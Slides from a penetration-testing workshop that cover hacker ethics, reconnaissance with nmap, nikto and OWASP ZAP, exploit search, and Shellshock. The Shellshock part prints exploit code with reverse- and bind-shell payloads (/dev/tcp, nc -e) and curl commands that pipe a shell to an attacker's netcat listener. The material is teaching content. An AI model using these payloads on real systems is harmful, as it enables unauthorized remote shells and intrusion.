Penetration Testing Workshop

Who are we?

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Outline

- Ethical hacking
- What is penetration testing?
- Planning
- Reconnaissance
 - Footprinting
 - Network
 - ► Endpoint
 - Application

Attack Vulnerability probing ▶ Metasploit Hands-on Lab Network reconnaissance & OS Fingerprinting From SQL injection to shell

What is it?How to do it safely.

- In any computer security attack, the attacker will fall into any three categories depending on their intentions and use of the attack.
- Black Hat Hackers" are attackers whose sole reason for penetrating a system is to gain information from the system to be used for malicious purposes.
- Its important to note that you are breaking SEVERAL federal and state laws while performing this category of attack.
- If caught the punishment typically ranges from confiscation of equipment to jail time.

- White Hat Hackers" are attackers whose sole reason for penetrating a system is to harden the system against attacks so that it will be less susceptible to attacks in the future.
- Companies typically hire these hackers to stress test their defense systems for any potential holes within the defense network.
- While this kind of attack is legal, the attackers are only allowed to access areas that the company explicitly consents to.
- This is the kind of hacking we will be doing today.

- "Gray Hat Hackers" are attackers whose sole reason for penetrating a system is simply because they can and they typically return any stolen information that could be used for malicious purposes.
- While these attacks are considered illegal, the majority of attackers are never caught or even noticed after the attack has happened.

Today we are going to show you how to go about hacking in a safe environment, a set of tools to use for hacking, and some business applications of white hat hacking.

What is Penetration Testing

Penetration testing can be defined as a security-oriented probing of a computer system or network to seek out vulnerabilities that an attacker could exploit"

Business Perspective of Pen Testing

- Why would I ever need a penetration test?
- A successful penetration test would be that which would help an organization to understand the business risks arising from the vulnerabilities, and would provide a proper risk mitigation plan that fits the organizations business policy.

Pen Testing Model

- PlanningDiscovery
- Attack
- Reporting



Fig. 1: Four Phase Penetration Testing Methodology²

Planning

- Where the scope for the assignment is defined.
- Limitations compared to hackers.
 - ► Time
 - Legal Restrictions

R.O.B.O.T. Comics



"HIS PATH-PLANNING MAY BE SUB-OPTIMAL, BUT IT'S GOT FLAIR."

Discovery

Footprinting

- Network
- Endpoint
- Application

Discovery: Footprinting

First part of Discovery.

Involves searching the internet, querying various public repositories (whois databases, domain registrars, Usenet groups, mailing lists, etc.).

Discovery: Network

Mapping out the Topology of a network.

High level representation with Etherape.



Discovery: Network (Cont.)

Using Nmap

Nmap (Network Mapper) is a security scanner originally written by Gordon Lyon (also known by his pseudonym Fyodor Vaskovich) used to discover hosts and services on a computer network, thus creating a "map" of the network.

Discovery: Network (Cont.)

Nmap Output

root@kali:~# nmap -sT 192.168.89.191

Starting Nmap 6.40 (http://nmap.org) at 2014-09-05 16:16 EDT mass dns: warning: Unable to determine any DNS servers. Reverse DNS is disabled. Try using --system-dns or specify valid servers with --dns-servers Nmap scan report for 192.168.89.191 Host is up (0.012s latency). Not shown: 982 closed ports STATE SERVICE PORT 21/tcp open ftp 25/tcp open smtp 53/tcp open domain 80/tcp open http 110/tcp open pop3 135/tcp open msrpc 139/tcp open netbios-ssn 445/tcp open microsoft-ds 1025/tcp open NFS-or-IIS 1026/tcp open LSA-or-nterm 1027/tcp open IIS 1030/tcp open iad1 1033/tcp open netinfo 1034/tcp open zincite-a 1035/tcp open multidropper

Discovery: Endpoint

OS Fingerprinting

Determining the type of operating system used by studying the types of packets flowing from a system. Passive OS fingerprinting only analyzes the packets. Active OS fingerprinting sends challenges to the OS and examines the type of responses.



Discovery: Endpoint

OS Fingerprinting with Xprobe2

	root : xprobe2.	××
File Edit View Bookmarks So	iettings Help	
<pre>ware: Windows Version 5.2 (Buil ping:tcp_ping has not enough da ping:udp_ping has not enough da infogather:ttl_calc has not eno Executing infogather:portscan Executing app:ftp Executing app:http [+] Primary Network guess: [+] Host 192.168.1.116 Running OO%) [+] Host 192.168.1.116 Running %) [+] Host 192.168.1.116 Running %)</pre>	ld 3790 Uniprocessor Free)] ata ata	.00
[+] Host 192.168.1.116 Running	OS: "Microsoft Windows 2000 Workstation SP4" (Guess probability: 100%)	
	OS: "Microsoft Windows 2000 Workstation SP3" (Guess probability: 100%) DS: "Microsoft Windows 2000 Workstation SP2" (Guess probability: 100%)	
[+] Host 192.168.1.116 Running	05: "Microsoft Windows 2000 Workstation SP1" (Guess probability: 100%)	
	OS: "Microsoft Windows 2000 Workstation" (Guess probability: 100%)	
[+] Cleaning up scan engine [+] Modules deinitialized		
[+] Execution completed.		*
root@bt: 🚅 📕		-
root : xpr	robe2	

Discovery: Applications



OWASP Top 10

OWASP Top 10 - 2010 (Previous Version)	OWASP Top 10 - 2013 (Current Version)
A1-Injection	A1-Injection
A3-Broken Authentication and Session Management	A2-Broken Authentication and Session Management
A2-Cross Site Scripting (XSS)	A3-Cross-Site Scripting (XSS)
A4-Insecure Direct Object Reference	A4-Insecure Direct Object References
A6-Security Misconfiguration	A5-Security Misconfiguration
A7-Insecure Cryptographic Storage - Merged with A9>	A6-Sensitive Data Exposure
A8-Failure to Restrict URL Access - Broadened into>	A7-Missing Function Level Access Control
A5-Cross Site Request Forgery (CSRF)	A8-Cross-Site Request Forgery (CSRF)
 security Misconfiguration>	A9-Using Components with Known Vulnerabilities
A10-Unvalidated Redirects and Forwards	A10-Unvalidated Redirects and Forwards
A9-Insufficient Transport Layer Protection	Merged with 2010-A7 into 2013-A6

Discovery: Applications

Application & services discovery

- Manual (e.g., telnet)
- Automated (e.g., nikto, nessus, openvas)
- Vulnerability probing
 - owasp-zap
 - Burpsuite
 - Nikto



nikto -host 74.217.87.87 -port 80

	74.217.87.87
+ Target Hostname:	webscantest.com
+ Target Port:	80
+ Start Time:	2014-03-16 13:23:30 (GMT0)
+ Server: Apache	entral anticipants at a substance and all the second at the second second second second second second second se
	ULN_SITE created without the httponly flag
	d-by header: PHP/5.3.3
+ The anti-clickjack	ing X-Frame-Options header is not present.
+ No CGI Directories	found (use '-C all' to force check all possible dirs)
+ Server leaks inode	s via ETags, header found with file /robots.txt, inode: 4920
56, size: 101, mtime	: 0x4f135f9b82c00
+ "robots.txt" conta	ins 4 entries which should be manually viewed.
+ Allowed HTTP Metho	ds: GET, HEAD, POST, OPTIONS, TRACE
+ DEBUG HTTP verb ma	y show server debugging information. See http://msdn.microso
ft_com/en-us/library	/e8z01xdh%28VS.80%29.aspx for details.
+ OSVDB-877: HTTP TF	ACE method is active, suggesting the host is vulnerable to X
SF	
+ OSVDB-12184: /inde	x.php?=PHPB8B5F2A0-3C92-11d3-A3A9-4C7B08C10000: PHP reveals poten
tially sensitive inf	ormation via certain HTTP requests that contain specific QUERY st
rings.	
+ OSVDB-3092: /cart/	: This might be interesting.
+ OSVDB-3268: /icons	/: Directory indexing found.
+ 0SVDB-3233: /icons	/README: Apache default file found.
	login page/section found.
- 11월 - 11	: 0 error(s) and 13 item(s) reported on remote host
	2014-03-16 13:43:12 (GMT0) (1182 seconds)
+ 1 host(s) tested	
root@kali:~#	

877 : Multiple Web Server Dangerous HTTP Method TRACE Printer http://osvdb.org/877 Email This Edit Vulnerability Views This Week Views All Time Added to OSVD8 Last Modified Modified (since 2008) Percent Complete 88 32873 about 11 years ago 5 months ago 10 times 85% Timeline Disclosure Date 2003-01-20 Percent Support the TRACE HTTP method, which contains a flaw that may lead to an unauthorized information disclosure. The TRACE method is used to debug web server connect					
Printer http://osvdb.org/872 Email This Edit Vulnerability Views This Week Views All Time Added to OSVDB Last Modified Modified (since 2008) Percent Complete 88 32873 about 11 years ago 5 months ago 10 times 85% Timeline Disclosure Date 2003-01-20 Disclosure the TRACE HTTP method, which contains a flaw that may lead to an unauthorized information disclosure. The TRACE method is used to debug web server connect					
Views This Week Views All Time Added to OSVDB Last Modified Modified (since 2008) Percent Complete 88 32873 about 11 years ago 5 months ago 10 times 85% Timeline Disclosure Date 2003-01-20 Disclosure the TRACE HTTP method, which contains a flaw that may lead to an unauthorized information disclosure. The TRACE method is used to debug web server connect					
88 32873 about 11 years ago 5 months ago 10 times 85% Timeline 2003-01-20 RFC compliant web servers support the TRACE HTTP method, which contains a flaw that may lead to an unauthorized information disclosure. The TRACE method is used to debug web server connections a flaw that may lead to an unauthorized information disclosure. The TRACE method is used to debug web server connections a flaw that may lead to an unauthorized information disclosure. The TRACE method is used to debug web server connections a flaw that may lead to an unauthorized information disclosure. The TRACE method is used to debug web server connections a flaw that may lead to an unauthorized information disclosure. The TRACE method is used to debug web server connections a flaw that may lead to an unauthorized information disclosure. The TRACE method is used to debug web server connections a flaw that may lead to an unauthorized information disclosure. The TRACE method is used to debug web server connections a flaw that may lead to an unauthorized information disclosure. The TRACE method is used to debug web server connections a flaw that may lead to an unauthorized information disclosure. The TRACE method is used to debug web server connections a flaw that may lead to an unauthorized information disclosure. The TRACE method is used to debug web server connections a flaw that may lead to an unauthorized information disclosure. The TRACE method is used to debug web server connections a flaw that may lead to an unauthorized information disclosure.					
Disclosure Date 2003-01-20 RFC compliant web servers support the TRACE HTTP method, which contains a flaw that may lead to an unauthorized information disclosure. The TRACE method is used to debug web server connected					
Timeline 2003-01-20 RFC compliant web servers support the TRACE HTTP method, which contains a flaw that may lead to an unauthorized information disclosure. The TRACE method is used to debug web server connect					
disclose sensitive configuration information resulting in a loss of confidentiality.					
Classification Exploit: Exploit Public OSVDB: Web Related	Impact: Loss of Confidentiality Exploit: Exploit Public				
Solution If the TRACE method is not essential for your site, disable it in the web server configuration. Consult your documentation or vendor for detailed instructions on how to accomplish this.	on If the TRACE method is not essential for your site, disable it in the web server configuration. Consult your documentation or vendor for detailed instructions on how to accomplish this.				
The Apache Software FoundationChukwa0.4.0					
Products NSMXpress Unspecified					
Juniper Networks, Inc. NSM3000 Unspecified					
NSMXpress HA Unspecified					
 Security Tracker: 1015112 1015134 102016 ISS X-Force ID: 11149 11237 Bugtraq ID: 11604 9506 9561 Securita Advisory ID: 17334 21802 SCIP VulDB ID: 1842 CVE ID: 2005-3398 (see also: NVD) 2005-3498 (see also: NVD) Related OSVDB ID: 3726 5648 CERT VU: 867593 Vender Specific Advisory UBL: ftp://ftp.coftware.jbm.com/pc/pccbbc/pc_server_pdf/dir5.10_docs_relapter.pdf Uirk is 404.1 http://currelye.sup.com/search/document.do?stretkey=12646 					

nikto -host 8.26.65.101 -port 80

+ Target IP:	8.26.65.101
+ Target Hostname:	wonderhowto.com
+ Target Port:	80
+ Start Time:	2014-03-16 13:47:02 (GMT0)
The second s	
+ Server Microsoft-	IIS/8 5

The anti-clickjacking X-Frame-Options header is not present.

+ Uncommon header 'x-server-name' found, with contents: APP1

+ Uncommon header 'x-ua-compatible' found, with contents: IE=Edge,chrome=1

+ Root page / redirects to: http://www.wonderhowto.com/

+ No CGI Directories found (use '-C all' to force check all possible dirs)

+ OSVDB-630: IIS may reveal its internal or real IP in the Location header via a requ est to the /images directory. The value is "http://10.0.63.22/images/".

+ Server banner has changed from 'Microsoft-IIS/8.5' to 'Microsoft-HTTPAPI/2.0' which may suggest a WAF, load balancer or proxy is in place

+ Retrieved x-aspnet-version header: 4.0.30319

+ Uncommon header 'x-aspnetmvc-version' found, with contents: 4.0

+ OSVDB-27071: /phpimageview.php?pic=javascript:alert(8754): PHP Image View 1.0 is vu lnerable to Cross Site Scripting (XSS). http://www.cert.org/advisories/CA-2000-02.ht ml.

+ /modules.php?op=modload&name=FAQ&file=index&myfaq=yes&id cat=1&categories=%3Cimg%20 src=javascript:alert(9456);%3E&parent id=0: Post Nuke 0.7.2.3-Phoenix is vulnerable t o Cross Site Scripting (XSS). http://www.cert.org/advisories/CA-2000-02.html.

+ /modules.php?letter=%22%3E%3Cimg%20src=javascript:alert(document.cookie);%3E&op=mod load&name=Members List&file=index: Post Nuke 0.7.2.3-Phoenix is vulnerable to Cross S ite Scripting (XSS). http://www.cert.org/advisories/CA-2000-02.html.

+ OSVDB-4598: /members.asp?SF=%22;}alert(223344);function%20x(){v%20=%22: Web Wiz For ums ver. 7.01 and below is vulnerable to Cross Site Scripting (XSS). http://www.cert. org/advisories/CA-2000-02.html.

+ OSVDB-2946: /forum members.asp?find=%22;}alert(9823);function%20x(){v%20=%22: Web W iz Forums ver. 7.01 and below is vulnerable to Cross Site Scripting (XSS). http://www .cert.org/advisories/CA-2000-02.html.

+ OSVDB-3092: /localstart.asp: Default IIS install page found.

+ 6544 items checked: 0 error(s) and 12 item(s) reported on remote host

nikto -host facebook.com -port 80

+	Target	Hostname:	facebook.com
	+		00

+ Target Port: 80 + Start Time: 2014-03-16 13:15:56 (GMT0)

+ Server: No banner retrieved

+ The anti-clickjacking X-Frame-Options header is not present.

+ Uncommon header 'x-fb-debug' found, with contents: /KWGA8+EVbdDoiYsHIvPcAd4HST rDgtT7W0If0v0vUA=

- + Root page / redirects to: http://www.facebook.com/
- + No CGI Directories found (use '-C all' to force check all possible dirs)

+ /crossdomain.xml contains 18 lines which should be manually viewed for imprope

- r domains or wildcards.
- + Uncommon header 'x-frame-options' found, with contents: DENY
- + Uncommon header 'x-xss-protection' found, with contents: 0
- + Uncommon header 'x-content-type-options' found, with contents: nosniff
- + File/dir '/ajax/' in robots.txt returned a non-forbidden or redirect HTTP code (301)
- + Cookie reg_fb_gate created without the httponly flag
- + Cookie reg_fb_ref created without the httponly flag
- + Cookie reg_ext_ref created without the httponly flag
- + "robots.txt" contains 132 entries which should be manually viewed.
- + Server banner has changed from '' to 'proxygen' which may suggest a WAF, load balancer or proxy is in place

Vulnerability probing with owasp-zap

😼 Sites 🛨	🥖 Quick Sta	rt 🗋 🔿 Reques	t Response 🖛 🛨
	Header: Text	Body: Tex	t 💌 🔲 🗖
▼			
🛗 History 🔍 Search 🏴 Alerts 🖈 📄 Out	put 🏾 🕷 Spider	r 👌 Active Sc	an 🛨
		SQL Injection	
 Alerts (9) Alerts (9) SQL Injection GET: http://10.176.147.20/cat.php?id=4-2 GET: http://10.176.147.20/cat.php?id=4-2 M Directory Browsing N X-Frame-Options Header Not Set (16) N Cookie set without HttpOnly flag (3) N Password Autocomplete in browser N Private IP Disclosure (2) N Web Browser XSS Protection Not Enabled (16) N X-Content-Type-Options Header Missing (16) 		URL: Risk: Confidence: Parameter: Attack: Evidence: CWE Id: WASC Id: Description: SQL injection	http://10.176.147.20/cat.php?id=4-2 Medium id 4-2 89 19 on may be possible.
Alerts 🏴 2 🔑 2 🔑 5 🟴 0		Current	Scans 👙 0 🤰 0 🎯 0 💥 0 🎤 0 😽 0 🗰 0

How to find *proof-of-concept* exploits?

🗲) 🔒 https://www.exploit-db.com/search/?action=search&description=shellshock&e_author=

▼ C Q Search

Google Hacking Database

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Home Exploits

Shellcode Papers

Submit Search

Search the Exploit Database

Search the Database for Exploits, Papers, and Shellcode. You can even search by CVE and OSVDB identifiers.

shellshock	CVE (eg: 2015-1423)	SEARCH

Advanced search

S

Date 🔻	D	Α	۷	Title	Platform	Author
2014-11-03	•	-	0	PHP 5.x Shellshock Exploit (bypass disable_functions)	php	Ryan King (Sta.
2014-10-06	₽	-	V	Bash - CGI RCE (MSF) Shellshock Exploit	cgi	Fady Mohammed
2014-10-06	•	12	V	Postfix SMTP - Shellshock Exploit	linux	Phil Blank
2014-10-06	•		V	Apache mod_cgi - Remote Exploit (Shellshock)	linux	Federico Galat.
2014-10-04	8	-	0	OpenVPN 2.2.29 - ShellShock Exploit	linux	hobbily plunt
2014-09-29	•	-	V	ShellShock dhclient Bash Environment Variable Command Injection PoC	linux	fdiskyou
2014-09-25	•	-	V	GNU Bash - Environment Variable Command Injection (ShellShock)	linux	Stephane Chaze.
2014-09-25	4		~	Bash - Environment Variables Code Injection Exploit (ShellShock)	linux	Prakhar Prasad.

How to find *proof-of-concept* exploits?

File Edit View Search Terminal Help	
<pre>root@kali:~# searchsploit shellshock</pre>	
Exploit Title	Path (/usr/share/exploitdb/platforms)
OpenVPN 2.2.29 - ShellShock Exploit Bash - CGI RCE (MSF) Shellshock Exploit Postfix SMTP - Shellshock Exploit Apache mod_cgi - Remote Exploit (Shellshock) PHP 5.x Shellshock Exploit (bypass disable_functions) ShellShock dhclient Bash Environment Variable Command Inject	<pre>./linux/remote/34879.txt ./cgi/webapps/34895.rb ./linux/remote/34896.py ./linux/remote/34900.py ./php/webapps/35146.txt ./linux/remote/36933.py</pre>

root@kali:~#

CVE-2014-6271 exploit

```
Shellcode
                                                                                          Google Hacking Database
                                                   Exploits
                                                                                                                         Submit
                                                                                                                                     Search
                                        Home
                                                                              Papers
     args = \{\}
62
63
     for arg in sys.argv[1:]:
         ar = arg.split("=")
64
65
         args[ar[0]] = ar[1]
66
     try:
67
         args['payload']
68
     except:
69
         usage()
70
71
     if args['payload'] == 'reverse':
72
         try:
73
             lhost = args['lhost']
             lport = int(args['lport'])
74
             phost _ ongs['phos
75
             payload = "() { :;}; /bin/bash -c /bin/bash -i >& /dev/tcp/"+lhost+"/"+str(lport)+" 0>&1 &"
76
77
         except:
78
             usage()
     elif args['payload'] == 'bind':
79
80
         try:
             rhost = args['rhost']
81
             rport = args['rport']
82
             payload = "() { :;}; /bin/bash -c 'nc -l -p "+rport+" -e /bin/bash &'"
83
84
         except:
85
             usage()
86
     else:
87
         print "[*] Unsupported payload"
88
         usage()
89
90
     try:
         pages = args['pages'].split(",")
91
92
     except:
93
         pages = ["/cgi-sys/entropysearch.cgi","/cgi-sys/defaultwebpage.cgi","/cgi-mod/index.cgi","/cgi-bin/test.cgi","/cgi-bin-sdb/pri
Q.1
```

Metasploit

What is Metasploit?

- A computer security project that provides information about security vulnerabilities and aids in penetration testing and IDS signature development.
- Metasploit Framework, a tool for developing and executing exploit code against a remote target machine.

Port Scanning results

► Show:

```
Starting Nmap 6.49BETA4 ( https://nmap.org ) at 2015-10-21 13:27 CDT
Nmap scan report for 10.176.68.191
Host is up (0.000022s latency).
Not shown: 996 closed ports
PORT
        STATE SERVICE VERSION
21/tcp open ftp ProFTPD 1.3.5
22/tcp open ssh OpenSSH 6.6.1p1 Ubuntu 2ubuntu2.3 (Ubuntu Linux; proto
col 2.0)
                   Apache httpd 2.4.17 ((Unix))
80/tcp open http
1064/tcp open tcpwrapped
MAC Address: 00:50:56:94:1A:D1 (VMware)
Service Info: OSs: Unix, Linux; CPE: cpe:/o:linux:linux kernel
Service detection performed. Please report any incorrect results at https://nmap
.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 8.52 seconds
root@kali:~#
```

Services Running

PORT	STATE SERV	ICE N	/ERSION
21/tcp	open ftp	ProFTPD	1.3.5
22/tcp protocol	open ssh 2.0)	OpenSSH	6.6.1p1 Ubuntu 2ubuntu2.3 (Ubuntu Linux;
1064/tcp	o open tcp		wrapped

There is a web server running

Web Server Vulnerability Analysis Tool

<pre>root@kali:~# nikto - Nikto v2.1.6</pre>	-host http://10.176.68.191
+ Target IP: + Target Hostname:	
	80 2015-10-21 13:34:26 (GMT-5)
+ Server: Apache/2.4 + Server leaks inode	.17 (Unix) s via ETags, header found with file /, fields: 0x2d 0x432a5e4a73a80
+ The anti-clickjack	ing X-Frame-Options header is not present. on header is not defined. This header can hint to the user agent to protec
forms of XSS	
	-Options header is not set. This could allow the user agent to render the fashion to the MIME type
+ OSVDB-877: HTTP TR	ds: GET, HEAD, POST, OPTIONS, TRACE ACE method is active, suggesting the host is vulnerable to XST ikto-added-cve-2014-6271' found, with contents: true
	-bin/login.cgi: Site appears vulnerable to the 'shellshock' vulnerability me.cgi?name=CVE-2014-6271).
	-bin/test-cgi: Site appears vulnerable to the 'shellshock' vulnerability e.cgi?name=CVE-2014-6271).
+ OSVDB-3233: /cgi-b default scripts shou	in/test-cgi: Apache 2.0 default script is executable and reveals system in ld be removed.
	rror(s) and 10 item(s) reported on remote host 2015-10-21 13:34:34 (GMT-5) (8 seconds)
+ 1 host(s) tested	



What is Shellshock ? (AKA Bashdoor)

- It is a security bug in the widely used Unix Bash shell (Unix shell and commandline language).
- Many Internet-facing services, such as some web server deployments, use Bash to process certain requests, allowing an attacker to cause vulnerable versions of Bash to execute arbitrary commands.
- This can allow an attacker to gain unauthorized access to a computer system
- Disclosed on 24 September 2014 by Stéphane Chazelas



In this scenario:



#MALICIOUS-CODE is executed when Bash sets an environment variable using the HTTP header content. Active exploit attempts include:

- Theft of password files
- Forced downloads of external content via WGET
- Setting up a Telnet session to the attacker for direct access to the system
- Complex shell scripts acting as a Trojan that allows remote access
- Infection of botnets, which are already actively involved in DDoS attacks

Shellshock (Commandline)

- curl -A "() { :; }; echo Content-Type: text/plain ; echo ; /bin/ls /tmp/" http://10.176.68.191/cgi-bin/login.cgi
- NetCat: curl -A "() { :; }; echo Content-Type: text/plain ; echo ; /bin/nc
- \$curl -A "() { :; }; echo Content-Type: text/plain ; echo ; /bin/mknod /tmp/p p" http://<target-ip>/cgi-bin/login.cgi
- \$curl -A "() { :; }; echo Content-Type: text/plain ; echo ; /bin/dash 0</tmp/p | /bin/nc <your-ip> 4444 1>/tmp/p" http://<target-ip>/cgibin/login.cgi
- You can also get netcat output everything into a txt file.
- nc -l 60000 > qux.txt ;

Basic concept: How to Use Metasploit

- Run msfconsole (MetaSploit Framework)
- Identify a remote host
- Pick a vulnerability and use an exploit
- Configure the exploit
- Execute the payload against the remote host

Join us at "Metasploit Freaks"





QUESTIONS?

Please give us your feedback! http://goo.gl/forms/AZxk8Lih7L